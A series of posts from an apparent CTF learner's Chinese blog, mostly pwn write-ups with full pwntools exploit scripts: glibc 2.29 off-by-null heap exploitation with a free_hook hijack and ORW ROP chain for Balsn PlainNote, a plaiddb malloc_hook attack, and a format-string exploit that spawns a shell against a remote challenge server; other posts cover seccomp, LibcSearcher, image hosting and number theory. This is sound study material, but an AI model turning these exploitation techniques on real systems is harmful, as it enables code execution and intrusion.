Aha.
post @ 2022-01-26

这里先简单占个坑,等过段时间仔细学完C沙箱的一些知识后再补

沙箱
seccomp(secure computing mode)是Linux内核中的一种安全机制
主要用的是prctl函数
有白名单和黑名单两种模式两种
白名单允许可调用的系统调用
黑名单上是不允许的系统调用
有过滤器机制
可以看看
http://cn-sec.com/archives/400295.html
http://blog.sina.com.cn/s/blog_53fdf1590102xtg3.html

Read More
post @ 2022-01-25

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/
http://blog.eonew.cn/archives/1233
这两篇组合起来看,应该就差不多了。至少先看了这两篇,我讲的只是我觉得一些重要的点

这应该是off_by_null的最后一篇了
之前说过了,off_by_null一种是修改类似bss段上堆信息;另一种是通过覆盖堆head上pre_inuse,然后配合unlink实现堆重叠的
但是当libc-2.29以后增加了一个保护机制,在free的时候会检查该堆的size和下一堆的pre_size是否相等,这样我们就不能像之前一样直接伪造一个堆块,因为我们很难区控制一个堆块的size段,同时满足unlink的条件。(即使我们可以伪造一个对的结构,可是我们该如何填充相关信息呢)

wiki上off_by_null的第三题plainnote就引出了新的绕过方法。

题目及libc:https://github.com/Ex-Origin/ctf-writeups/tree/master/balsn_ctf_2019/pwn/PlainNote

原理:我们知道当chunk被free之后会在其中遗留有链表信息(fd,bk),其中large bin还要特别一些,他会遗留fd,bk,fd_nextsize,bk_nextsize,而且一般情况,只有一个large bin的时候,他的fd_nextsize和bk_nextsize会指向自己,
这个绕过方法就是,也是伪造chunk,占用large bin的fd,bk位作为pre_size,还有size。把fd_nextsize,bk_nextsize稍加改动作为被伪造chunk的fd和bk.
在这个题里,我们在调试的时候有意的把large bin起始位置的前16位调为0,为了方便,因为后面会需要爆破,概率是1/16
正常的large bin长得像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
		爆破的位置
0x5585e79e[d0]00: 0x0000000000000000 0x0000000000001001
0x5585e79ed010: 0x00007f9d9487e2c0 0x00007f9d9487e2c0===>fb和bk
0x5585e79ed020: 0x00005585e79ed000 0x00005585e79ed000===>fd_nextsize和bk_nextsize
0x5585e79ed030: 0x0000000000000000 0x0000000000000000
0x5585e79ed040: 0x0000000000000000 0x0000000000000000
0x5585e79ed050: 0x0000000000000000 0x0000000000000000
0x5585e79ed060: 0x0000000000000000 0x0000000000000000
0x5585e79ed070: 0x0000000000000000 0x0000000000000000
0x5585e79ed080: 0x0000000000000000 0x0000000000000000
0x5585e79ed090: 0x0000000000000000 0x0000000000000000
0x5585e79ed0a0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0b0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0c0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0d0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0e0: 0x0000000000000000 0x0000000000000000
0x5585e79ed0f0: 0x0000000000000000 0x0000000000000000
0x5585e79ed100: 0x0000000000000000 0x0000000000000000

我们知道,如果要unlink有个难点就是要绕过一个检测
p->fd->bk ==p
p->bk->fd ==p

这里,我们就通过手动覆盖和fastbin的机制,把相应的地址写在各自位置上。
我才用wiki的exp讲吧,我改了一点,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level ='debug', arch = 'amd64',os ='linux')


def main():

def debug():
gdb.attach(sh)
raw_input()

def add(size,payload):
sh.sendlineafter("Choice: ",'1')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Content: ",payload)

def delete(index):
sh.sendlineafter("Choice: ",'2')
sh.sendlineafter("Idx: ",str(index))

def show(index):
sh.sendlineafter("Choice: ",'3')
sh.sendlineafter("Idx: ",str(index))


for i in range(16):
add(0x10,'fill')

for i in range(16):
add(0x60,'fill')

for i in range(9):
add(0x70,'fill')

for i in range(5):
add(0xC0,'fill')

for i in range(2):
add(0xE0,'fill')



add(0x170,'fill')
add(0x190,'fill')
# 49

add(0x2A10,'addralign') # 50,这里我和原exp不一样,说了是方便调试我们要把large bin的起始位置后16位为0,原大小是0x2a50,特意说明一下
#add(0x4A50,'addralign') # 50

add(0xFF8,'large bin') # 51
add(0x18,'protect') # 52


delete(51)
add(0x2000,'push to large bin') # 51
add(0x28,p64(0) + p64(0x241) + '\x28') # 53 fd->bk : 0xA0 - 0x18

add(0x28,'pass-loss control') # 54
add(0xF8,'pass') # 55
add(0x28,'pass') # 56
add(0x28,'pass') # 57
add(0x28,'pass') # 58
add(0x28,'pass') # 59,这里在申请的时候,因为chunk的剩余部分会不断放进unsorted bin,所以接下来的bin都会带有libc地址
add(0x28,'pass-loss control') # 60
add(0x4F8,'to be off-by-null') # 61

for i in range(7):
add(0x28,'tcache')
for i in range(7):
delete(61 + 1 + i)
#这里是把tcache填满,这样后面的就能进入fastbin
delete(54)
delete(60)
delete(53)
#这里利用fastbin的机制,filo,把heap地址写进相应chunk,这一步是重点,使得可以绕过unlink
for i in range(7):
add(0x28,'tcache')
#这里,把tcache的先申请出来,之前fastbin里面的chunk因为stash机制,会进入tcache,会发现链表的顺序会变化。
# 53,54,60,62,63,64,65

add(0x28,'\x10') # 53->66
## stashed ##
add(0x28,'\x10') # 54->67
add(0x28,'a' * 0x20 + p64(0x240)) # 60->68
# debug()
delete(61)
#这里就是unlink,这里申请0x140是为了方便下一步申请0x28的chunk,造成对重叠
add(0x140,'pass') # 61
show(56)#前面说过的,因为unsorted bin会遗留很多libc的地址
libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base:" + hex(libc_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]
#这里都是构造重叠
add(0x28,'pass') # 69<-56
add(0x28,'pass') # 70<-57
delete(70)
delete(69)
show(56)
heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0
log.success("heap_base:" + hex(heap_base))

add(0x28,p64(0) * 2) # 69<-56
add(0x28,p64(0) * 2) # 70<-57
add(0x28,p64(0) * 2) # 71<-58
delete(68)
add(0x60,p64(0) * 5 + p64(0x31) + p64(__free_hook_addr)) # 68
add(0x28,'pass') # 72
#至此,我们已经完成了,堆重叠。但是我们又不能直接one_gadget应为程序开启了沙箱,只能用orw
## alloc to __free_hook ##
#说到这,我真想吐槽一下,可能是我太菜。虽然我知道,在这里应该采用类似栈迁移的方式,找mv ptr rax;jump rax;ret。但是有思路归有思路,但还真找不出来。下面这个是真巧妙,我都不知道他是怎么找到的,或者说怎么想的。
magic_gadget = libc_base + 0x12be97
# .text:000000000012BE97 mov rdx, [rdi+8]
# .text:000000000012BE9B mov rax, [rdi]
# .text:000000000012BE9E mov rdi, rdx
# .text:000000000012BEA1 jmp rax
add(0x28,p64(magic_gadget)) # 73
#这里,我们把magic_gadget写进free_hook,执行free的时候就相当于执行magic_gadget的函数,74号chunk里的内容就被当成参数了,这里提示一下,寄存器传参是rdi,rsi,rdx,rcx,r8,r9。函数的参数实际参数是字符,传递的却是地址(挺重要的)。
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0xc18ff

payload_addr = heap_base + 0x270
str_flag_addr = heap_base + 0x270 + 5 * 0x8 + 0xB8
rw_addr = heap_base
# .text:0000000000055E35 mov rsp, [rdx+0A0h]
# .text:0000000000055E3C mov rbx, [rdx+80h]
# .text:0000000000055E43 mov rbp, [rdx+78h]
# .text:0000000000055E47 mov r12, [rdx+48h]
# .text:0000000000055E4B mov r13, [rdx+50h]
# .text:0000000000055E4F mov r14, [rdx+58h]
# .text:0000000000055E53 mov r15, [rdx+60h]
# .text:0000000000055E57 mov rcx, [rdx+0A8h]
# .text:0000000000055E5E push rcx
# .text:0000000000055E5F mov rsi, [rdx+70h]
# .text:0000000000055E63 mov rdi, [rdx+68h]
# .text:0000000000055E67 mov rcx, [rdx+98h]
# .text:0000000000055E6E mov r8, [rdx+28h]
# .text:0000000000055E72 mov r9, [rdx+30h]
# .text:0000000000055E76 mov rdx, [rdx+88h]
# .text:0000000000055E76 ; } // starts at 55E00
# .text:0000000000055E7D ; __unwind {
# .text:0000000000055E7D xor eax, eax
# .text:0000000000055E7F retn

payload = p64(libc_base + 0x55E35) # rax
payload += p64(payload_addr - 0xA0 + 0x10) # rdx
payload += p64(payload_addr + 0x28)
payload += p64(ret)
payload += ''.ljust(0x8,'\x00')
#后面的就可以当ORW祖传代码了
rop_chain = ''
rop_chain += p64(pop_rdi_ret) + p64(str_flag_addr) # name = "./flag"
rop_chain += p64(pop_rsi_ret) + p64(0)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open
rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["read"])
rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["write"])

payload += rop_chain
payload += './flag\x00'
add(len(payload) + 0x10,payload) # 74
#gdb.attach(proc.pidof(sh)[0])
delete(74)
sh.interactive()

while True:
#sh = process("./note")
libc = ELF("/home/blacktea/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
sh = process("./note")
# libc = ELF("./libc-2.29.so")

try:
main()
except:
sh.close()
continue

这里说一下,还有个srop做法的,等下次再说吧,怕了怕了。

Read More
post @ 2022-01-25

之前其实也做过srop的题,但一是因为之前太菜,其实并没有真正的理解;二是之前没做笔记。所以其实学了又感觉没有学。


原理部分:
wiki
大专栏
他们讲得已经很好了,至少对于给出smallest这道题而言。
简要说明:

当进程从用户态切换到内核态的时候,进程的一些信息(各寄存器状态)会以结构体Signal Frame的形式写在栈里。当需要切换回去的时候,只需要触发sigreturn就行(系统调用好为15)
所以,当存在溢出时,我们可以伪造一个我们需要的Signal Frame,然后触发sigreturn就行。


这题插一句,rax寄存器通常会被用于存储函数的返回值;同时,当我们需要调用某一个系统调用,相应的系统调用号也是储存在rax里的.

这里就有了很多的操作空间—-可以将上一个函数的返回值用作下一个syscall的系统调用号。

所以这个题里面,我们就是利用read函数读取的字数(返回值),控制rax中值,然后调用syscall;ret。

例题是wiki上的smallest

这里有两个exp
wiki版

Read More
post @ 2022-01-24

继续更off_by_null,其实也就是把自己的一些总结写下来,将来方便自己回顾。


之前的一篇简单说过了off_by_null,不过在那一篇里,off_by_null的利用方式是通过边界溢出修改类似在bss段上的内容。以此来间接达到我们想要的结果。

今天这个,中心思想是通过一字节溢出,修改下一个堆块上size段上的pre_inuse位,以此欺骗分配器–“本堆块已被释放(实际并没有)”。在pre_inuse位归0后,pre_size会同时被启用,我们伪造pre_size就可以实现堆重叠。

通常目的是为了,让堆块被释放后被合并,辅助实现unlink,构成堆重叠。

大概就这个原理吧,因为我是随着wiki上的题做的。这次这例题是wiki上的,但是我个人觉得并不合适(可能是因为版本原因吧,我也不知道,后面会讲为什么)


题目链接:https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb

这个题就是,逆向有点恶心,题大体上不难,原理就是我上面说的那个,具体wiki上说得很详细了我不重复了,可以先看看Wiki,这里我就说点我的一些想法。环境是ubuntu16.04的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102


# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./plaidctf_2015_plaiddb')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)



def cmd(command_num):
io.recvuntil('command:')
io.sendline(str(command_num))

def put(key,size,data):
cmd('PUT')
io.recvuntil('key:')
io.sendline(key)

io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('data')
if len(data) < size:
io.send(data.ljust(size,'\x00'))
else:
io.send(data)

def delete(key):
cmd('DEL')
io.recvuntil('key:')
io.sendline(key)


def get(key):
cmd('GET')
io.recvuntil('key:')
io.sendline(key)
io.recvuntil('[')
num = int(io.recvuntil(' bytes').strip(' bytes'))
io.recvuntil(':\n')
return io.recv(num)



def main():
for i in range(10):
put(str(i),0x38,str(i))

for i in range(10):
delete(str(i))
#avoid complicity of structure malloc
put('1',0x200,'1')
put('2',0x50,'2')
put('5',0x68,'6')
put('3',0x1f8,'3')
put('4',0xf0,'4')
put('defense',0x400,'defense-data')

#allocate what we want in order



#free those need to be freed
delete('5')
delete('3')
delete('1')
delete('a'*0x1f0 + p64(0x4e0))

delete('4')

# debug()
put('0x200',0x350,'fillup')#the size coulde be 0x200~0x350
#because the fastbins combins to be the smallbin of 360
put('0x200 fillup',0x200,'fillup again')

libc_leak = u64(get('2')[:6].ljust(8,'\x00'))
io.info('libc leak:0x%x' % libc_leak)

libc_base = libc_leak - 0x3c4b78
io.info('libc_base:0x%x' % libc_leak)

put('fastatk', 0x100, 'a' * 0x58 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 + 5 - 8))
put('prepare', 0x68, 'prepare data')

one = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base + one[1]
put('attack', 0x68, 'a' * 3 + p64(one_gadget))

io.sendline('DEL') # malloc(8) triggers one_gadget
io.interactive()





main()
Read More
post @ 2022-01-16

原因:
我们在做栈题的时候总是会需要查找libc
常用的有好几个方法:
一个是在线查找:https://libc.nullbyte.cat/
还有一个就是使用工具LibcSearcher,学pwn的应该都不陌生

======
今天这里就讲LibcSearcher。
在LibcSearcher使用了一段时间以后,大多数同学都大概会遇到一个问题:找不到要的libc
网上的很多博主提供的方法都是直接抄的,很不负责,简直误人子弟,关键浪费时间。(当然,也有可能是时效性的原因)
反正不行
比如这个方法:
https://www.codetd.com/article/12472207

后来找到了原因,还有切实可用的方法

https://python.iitter.com/other/259587.html

老的LibcSearcher不支持py3,新的版本可以支持在线查询,不在需要下载本地库。

方法:

1
pip3 install LibcSearcher

然后用py3来执行EXP就行,实现在线查询。

感谢:以上提供参考方法的两位博主

Read More
post @ 2022-01-16

原因:
之前的关于格式化字符串的漏洞的笔记都在简书上
这次记录的这道格式化字符串的题其实也并没有什么特别的地方,不过这其中遇到的一些问题还是挺有意思的,可记录一下

题目名字是:SWPUCTF_2019_login
在buu里也有
这题在开始的时候,解题什么都还顺利。本地也顺利打通,但是后面在打远程的时候老是不行,先以为是libc的问题,后面又以为是远程环境的问题,最后发现还是自己太菜了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# thers are something wrong,it only works at the local environment
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'i386',os ='linux')
elf = ELF('./SWPUCTF_2019_login')

# io = process('./SWPUCTF_2019_login')
# libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

io = remote('node4.buuoj.cn',25845)
libc = ELF('./libc-2.27_x32.so')
def debug():
# raw_input()
gdb.attach(io)

print_plt = elf.plt['printf']
print_got = elf.got['printf']

# print "print_got=="+hex(print_got)
# print "print_plt=="+hex(print_plt)
io.recvuntil("name:")
io.sendline('/bin/sh;')
payload = '%15$p'
# payload = '%26$p'

io.sendline(payload)
io.recvuntil("Please input your password: \n")

io.recvuntil('0x')
__libc_start_main= int(io.recvuntil('\n',drop=True),16) - 247
# print "__libc_start_main===========>"+hex(__libc_start_main)
# libc = LibcSearcher("__libc_start_main",__libc_start_main)
# libcbase = __libc_start_main - libc.dump("__libc_start_main")
# system = libcbase + libc.dump("system")
# raw_input()

# debug()

libcbase = __libc_start_main - libc.sym["__libc_start_main"]
system = libcbase + libc.sym["system"]

# print "system=============>"+hex(system)

payload = "%6$p"
io.sendline(payload)
io.recvuntil('This is the wrong password: 0x')

stack= int(io.recvuntil('\n',drop=True),16)
# print "stack===============>"+hex(stack)

offset = (stack&0xff)-0xc
# print "offset=====>"+hex(offset)
payload = "%"+str(offset)+'c'+"%6$hhn"
io.sendlineafter('Try again!\n',payload)



payload = "%"+str(int('B014',16))+'c'+"%10$hn"
io.sendlineafter('Try again!\n',payload)

payload = "%"+str(offset+0x10)+'c'+"%6$hhn"
io.sendlineafter('Try again!\n',payload)

# sleep(1)
payload = "%"+str(int('B016',16))+'c'+"%10$hn"
io.sendlineafter('Try again!\n',payload)

system_h =(system&0xffff0000)>>16
system_l =(system&0xffff)
payload = "%"+str(system_l)+'c'+"%7$hn"+"%"+str(system_h-system_l)+'c'+"%11$hn"
io.sendlineafter('Try again!\n',payload)
io.sendlineafter('Try again!\n',"/bin/sh")
io.interactive()

打本地是没有问题的

1
2
3
4
5
6
7
8
9
10
11
12
13
    b'/bin/sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x17 bytes:
b'sh: 1: This: not found\n'
sh: 1: This: not found
$ echo hello
[DEBUG] Sent 0xb bytes:
b'echo hello\n'
[DEBUG] Received 0x6 bytes:
b'hello\n'
hello
$

但是,打远程就不行

1
2
3
4
5
6
7
8
9
[DEBUG] Sent 0x8 bytes:
b'/bin/sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$

先老是不知道原因,就想着是不是libc的问题,一阵折腾反而把一直以来libcsercher的问题绝了

后来,我仔细找了很久,找了一些其他大佬的博客,看他们的wp

找到一个

Read More
post @ 2022-01-16

前言:
一直写博客都是在win下用typora,搞笑的是,图片上传一直都是手动上传到smms(不然图就只有本地有没错菜鸡就是我)。导致我写博客一直不愿意用图片,写的时候爽,但是后面就麻烦了。之前倒是知道picgo,但是一直没用,主要一直想自己搭图床的。现在觉得—嗯,现成的真香。。

正文:
typora图片上传

image-20220309202430415

找到最新的,这里是2.3.0

image-20220309202532481

我是win上的typora。选.exe

image-20220309202559382

下载可以先搭梯子,不然可能有点慢

是setup,直接next点到最后就行

打开插件区,安装这个插件

Read More
post @ 2022-01-07

这几天总还是有些,浮躁。想生活,想学业,想一些有的没的奇奇怪怪的东西。
我突然感到,我所生活的这个世界是多么的撕裂。还是说,我始终是格格不入!?

年轻的人,青年的人。你该何去何从?

我想写一本书,写关于我们这一代人的书,记录的是我们的生活,我们这一代人的生活。
也许是现在写故事的人都不能好好再生存下去了吧!
或者说,想要写我们这一代人的故事的人,还不能好好的生活。
还不曾有人,为我们发声,写出关于我们的故事。

如果可以,如果,再过几年,我还能是我自己。
我想成为其中一个人,写我们的故事。

主题,暂时就称是《千禧》吧

这个,暂时算作是一个flag吧

毕竟,现在的我勉强还带有一些理想主义色彩。

Read More
post @ 2021-12-26

原阶和根

原阶和根的概念

引入概念:

设m是大于1的整数,a是与m互素的整数,则使得$$a^e \equiv 1 \pmod{m}$$

成立的最小正整数e交a模m的阶(order),记作$ord_m(a)$

我们由欧拉定理知道,$ord_m(a) \le \varphi(m) $

eg:

设整数$m=7$,计算$a=1,2,3,4,5,6$的阶

解:

$$1^1 \equiv 1 \pmod{7},2^3 \equiv 1 \pmod{7},3^6 \equiv 1 \pmod{7}$$

Read More
post @ 2021-12-26

4二次同余式和平方剩余

重点:平方剩余的判定,legendre符号及计算方法。

这一章的重点就是求解rabin公钥系统


引入:

rabin公钥系统密钥的生成:

随机生成两个大素数$p,q$,$N=p \times q$

公钥为$N$,私钥为$(p,q)$

加密:

$c \equiv m_2 \pmod{N}$

其中,B是明文,C是密文。

解密;

即求解二次同余式 $x_2 \equiv c \pmod{N}$

所以第四章的核心就是如何求解二次同余式。

4.1二次同余式和平方剩余

首先,生么是二次同余式?

前面,我们已经遇到了,形如$x_2 \equiv a \pmod{m}$的就是二次同余式,如果$(a,m)=1$则同余式有解。

Read More
⬆︎TOP